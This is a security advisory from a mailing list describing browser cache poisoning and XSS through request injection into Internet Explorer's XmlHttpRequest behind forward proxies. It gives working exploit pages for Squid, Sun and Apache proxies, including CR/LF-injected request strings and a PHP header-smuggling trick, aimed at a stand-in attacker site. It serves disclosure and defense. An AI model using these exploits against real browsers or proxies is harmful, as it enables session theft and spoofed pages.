The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Browser Cache Poisoning using IE and Caching Servers
------------------------------------------------------------------------
SUMMARY
This paper demonstrate the attack vector mentioned on "
<http://www.securiteam.com/securityreviews/5BP0Q1PGUE.html> Exploiting The
XmlHttpRequest Object In IE".
While this is not a new vulnerability, and in some sense not even a new
attack vector, according to the author the net effect demonstrated here is
disturbing to say the least: IE with the latest service pack, when used
with many popular forward proxy servers (which in our opinion is quite a
common scenario - think corporate America, universities, some ISPs), is
vulnerable to XSS (regardless of the target website) and "local
defacement".
DETAILS
In this write-up, I demonstrate how the security issue discussed in
"Exploiting The XmlHttpRequest Object In IE" can be exploited to force an
XSS condition and/or a browser cache poisoning condition in IE 6.0 SP2,
provided it is configured to use a forward proxy server (the attack was
verified on Squid 2.5.STABLE10-NT, Apache/2.0.55 mod_proxy and Sun Java
System Web Proxy Server 4.0 [AKA SunONE proxy 4.0]) but I believe it would
practically work on almost all forward proxy servers, possibly up to some
tweaking in the exploitation code).
The root cause is the fact that 2 requests can be injected via the
XmlHttpRequest object (henceforth XHR; a key component of the AJAX
technology), coupled with the fact that IE sends requests for different
hosts on the same TCP connection when it uses a forward proxy server.
The attack idea is simple: the user visits the malicious website, and it,
using an XHR object, injects 2 requests (where the browser thinks only one
request is present) through the proxy server, to the malicious website.
The proxy sends back 2 responses, the browser consumes one for the XHR
object, and then the malicious Javascript code forces the browser to send
another request (to the target website). This request is then matched to
the 2nd response (queued at the browser response queue), and thus we have
the XSS condition and the browser cache poisoning condition (which is
effectively a "local defacement", at the browser level).
The XSS vector was in fact outlined by Yutaka Oiwa for FireFox 1.0.6 in
"Exploiting The XmlHttpRequest Object In IE" - and that advisory was also
originally referenced in "Exploiting The XmlHttpRequest Object In IE", yet
it is unclear whether Yutaka Oiwa actually lab-tested this particular XSS
(and browser cache poisoning) attack.
Please note: this is not a new vulnerability per-se; the basic
exploitation was discussed in "Exploiting The XmlHttpRequest Object In IE"
(and in "setRequestHeader can be exploited using newline characters" for
FireFox) almost 8 months ago. And the basic flaw in IE's implementation of
XHR was discussed in "XS(T) attack variants which in some cases, eliminate
the need for TRACE" over THREE years ago. This is merely a demonstration
of possible outcomes (=attack vectors). Yet I think that their gravity
justifies this write-up.
Also note that for brevity's sake, I don't discuss other vectors, such as
stealing credentials (including basic HTTP authentication credentials and
HttpOnly cookies). That vector was also mentioned in "XS(T) attack
variants which in some cases, eliminate the need for TRACE" (for FireFox).
The basic scenario - demonstrated with Squid 2.5.STABLE10-NT:
In essence, the attack comprises of setting up a malicious server
(www.evil.site) with 3 pages (http://www.evil.site/1.html,
http://www.evil.site/2.html and http://www.evil.site/3.html). In this
case, the pages are pure, static HTML pages. The pages will be detailed
below; the victim (IE user) is handed a link to the first page, i.e.
http://www.evil.site/1.html. Upon clicking this link, an XSS condition is
incurred, as well as a local defacement, to the website URL embedded in
http://www.evil.site/1.html (in this paper's example, it's
http://www.target.site/). As can be appreciated, this has serious
implications on www.target.site - while this site can be totally secure,
still there's an XSS condition enabling the attacker to steal credentials,
etc. Moreover, the browser caches the spoofed www.target.site page, so
every subsequent access to http://www.target.site/ by this IE user results
in displaying the spoofed page.
Here are the 3 pages needed:
http://www.evil.site/1.html:
<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.html\tHTTP/1.1\r\nHost:\twww.evil.site\r\nProxy-
Connection:\tKeep-Alive\r\n\r\nGET","/3.html",false);
x.send();
window.open("http://www.target.site/";);
</script>
</body>
</html>
http://www.evil.site/2.html:
<html>
<body>
foo
</body>
</html>
http://www.evil.site/3.html:
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00
GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>
Notice the Proxy-Connection: Keep-Alive header inserted to the request
stream in 1.html - for some reason, Squid does not maintain HTTP
connection persistence unless this header is provided in the request (even
when the request is in HTTP/1.1).
The attack flow is as following:
1. The browser loads 1.html, invokes the XHR object, and sends what it
thinks is a single request (with weird method, to
http://www.evil.site/3.html). This stream is sent to Squid.
2. Squid parses the stream, sees the first HTTP request - to
http://www.evil.site/2.html. It serves this request, which is a dummy
page.
3. Squid then sees the second HTTP request in the stream, this time to
http://www.evil.site/3.html. It serves this request as well.
4. The browser reads the first request from the response stream. It is
the content of http://www.evil.site/2.html, which the browser matches to
the XHR object request.
5. The browser then proceeds with the Javascript execution in 1.html, and
it sends a request to http://www.target.site/.
This is immediately matched to the second proxy response, i.e. to the
content of http://www.evil.site/3.html. Thus, http://www.evil.site/3.html
is considered by the browser to be http://www.target.site/, with XSS
condition and browser cache poisoning condition as a consequence.
Regarding the various cache related headers in
http://www.evil.site/3.html, and regarding the longevity of the browser
cache poisoning (local defacement) attack, see "Domain Contamination".
Sun Java System Web Proxy Server 4.0:
Basically the exploit for Sun Java System Web Proxy Server 4.0 is very
similar to the one used for Squid. The only differences are that Java
System Web Proxy Server 4.0 does not support HTTP connection persistence
for HTTP/1.0 requests, and it doesn't need the Proxy-Connection:
Keep-Alive header for HTTP/1.1 requests. So this can be safely removed
from 1.html (but can just as well be kept there).
A more problematic aspect of Sun Java System Web Proxy Server 4.0 is the
fact that it doesn't send the Proxy-Connection: Keep-Alive header in the
response. This makes IE believe that the proxy wants to terminate the
connection (IE, after all, assumes that the connection is HTTP/1.0, whose
default is to close the connection). One can overcome this by forcing this
header with the pages sent out, i.e. with 2.html and 3.html. This is a
simple matter of replacing 2.html and 3.html with dynamic pages (e.g. ASP,
PHP, etc.) that add "Proxy-Connection: Keep-Alive" to the response
headers.
The exploit would be as following (assuming ASP):
http://www.evil.site/1.html:
<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.asp\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.asp\tHTTP/1.1\r\nFoo:","bar",false);
x.send();
window.open("http://www.target.site/";);
</script>
</body>
</html>
http://www.evil.site/2.asp:
<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<body>
foo
</body>
</html>
http://www.evil.site/3.asp:
<%
Response.addHeader "Proxy-Connection","Keep-Alive"
%>
<html>
<head>
<meta http-equiv="Expires" content="Wed, 01 Jan 2020 00:00:00 GMT">
<meta http-equiv="Cache-Control" content="public">
<meta http-equiv="Last-Modified" content="Fri, 01 Jan 2010 00:00:00
GMT">
</head>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
Obviously, ASP is not essential for this attack, it can be realized with
any method that can add the Proxy-Connection: Keep-Alive to the response
headers of the second and third pages.
The above attack outline was indeed verified with Sun Java System Web
Proxy Server 4.0.
A more complex scenario - Apache/2.0.55 mod_proxy:
Apache/2.0.55 mod_proxy is somewhat similar to Sun Java System Web Proxy
Server 4.0 in that it doesn't send out Proxy-Connection: Keep-Alive. Also
for some reason, it seems that Apache/2.0.55 is faster than Sun Java
System Web Proxy Server 4.0 and Squid 2.5, and thus the second response
(to 2.html) appears in the end of the 1024 bytes buffer read by IE with
the first response (for a detailed discussion of how IE handles the
response stream, please refer to [4]). This means we need to pad 3.html to
a buffer boundary, taking into consideration all the response for 2.html
as well.
The only thing left is to force Apache mod_proxy to send out
Proxy-Connection: Keep-Alive header. This turns out to be not quite
trivial. Just sending this header as part of the response from
www.evil.site (as shown above with Sun Java System Web Proxy Server 4.0)
is not enough - Apache mod_proxy actively strips out this header. A more
sophisticated approach should be taken, calling to aid the techniques
developed in "HTTP Response Smuggling". The solution is to arrange for the
response from www.evil.site to include a header sequence with a CR instead
of CRLF:
Foo: bar CR Proxy-Connection: Keep-Alive
Thereby arriving at the desired scenario: Apache mod_proxy understands
this as a Foo header, thus not stripping it away, while IE understands
this as two headers - Foo: bar and Proxy-Connection: Keep-Alive.
With PHP, this can be realized as following:
<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
<html>
<body>
foo
</body>
</html>
Of course, as recommended in "HTTP Response Smuggling", PHP shouldn't be
allowed to inject CR in the header function, but this is immaterial -
remember that www.evil.site is fully controlled by the attacker, and this
functionality can be implemented in Perl, or even via a customized web
server.
This is enough for the XSS condition, but not for browser cache
defacement. That's due to the fact that there is no Proxy-Connection:
Keep-Alive in the response to http://www.target.site/, and again, IE waits
until the connection is terminated. It seems that this prevents IE from
caching the resource. Overcoming that is a simple matter of adding this
header to 3.html.
The working exploit is, therefore:
http://www.evil.site/1.html:
<html>
<body>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.evil.site/2.php\tHTTP/1.1\r\nHost:\twww.evil.site\r\n\r\nGET\thttp:
//www.evil.site/3.html\tHTTP/1.1\r\nFoo:","/bar",false);
x.send();
window.open("http://www.target.site/";);
</script>
</body>
</html>
http://www.evil.site/2.php:
<?php
header("Foo: bar\rProxy-Connection: Keep-Alive");
?>
foo
http://www.evil.site/3.html:
[padding to 1024 bytes including the response to the previous request]
HTTP/1.1 200 OK
Content-Length: 114
Content-Type: text/html
Cache-Control: public
Expires: Wed, 01 Jan 2020 00:00:00 GMT
Last-Modified: Wed, 17 May 2006 00:00:00 GMT
Proxy-Connection: Keep-Alive
<html>
<body>
<script>
alert("DEFACEMENT and XSS: your cookie is"+document.cookie)
</script>
</body>
</html>
The above attack outline was indeed verified with Apache 2.0.55 mod_proxy.
Recommendations:
Mostly quoted almost as-is from Exploiting the XmlHttpRequest object in
IE - Referrer spoofing, and a lot more... :
Site owners:
- Use SSL (as always).
Vendors
- Microsoft is encouraged to filter HT, CR and LF in the method parameter
of XHR (HT filtering was recommended in "XS(T) attack variants which in
some cases, eliminate the need for TRACE" over 3 years ago). Other browser
vendors are encouraged to check whether their implementation is
vulnerable.
- Proxy server vendors are encouraged not to allow raw HT in the request
line.
- Microsoft (and other HTTP client vendors - browsers and proxy servers
alike) is encouraged not to share a single TCP connection to the server
for requests to different hosts when IE uses a forward proxy server.
Reference:
[1] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and
a lot more...", Amit Klein, September 2005
<http://www.securityfocus.com/archive/1/411585>
http://www.securityfocus.com/archive/1/411585
[2] "setRequestHeader can be exploited using newline characters",
Bugzilla bug 297078
<https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c12>
https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c12 (Yutaka Oiwa's
advisory)
[3] "XS(T) attack variants which in some cases, eliminate the need for
TRACE", Amit Klein, WebAppSec mailing list submission, January 26th, 2003
<http://www.securityfocus.com/archive/107/308433>
http://www.securityfocus.com/archive/107/308433
[4] "Divide and Conquer - HTTP Response Splitting, Web Cache poisoning
and Related Topics", Amit Klein, March 2004
<http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf>
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
[5] "HTTP Response Smuggling", Amit Klein, March 2006
<http://www.securityfocus.com/archive/1/425593>
http://www.securityfocus.com/archive/1/425593
[6] "Domain Contamination", Amit Klein, February 2006
<http://www.webappsec.org/projects/articles/020606.txt>
http://www.webappsec.org/projects/articles/020606.txt
ADDITIONAL INFORMATION
The information has been provided by <mailto:aksecurity@hotpop.com> Amit
Klein (AKsecurity).
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
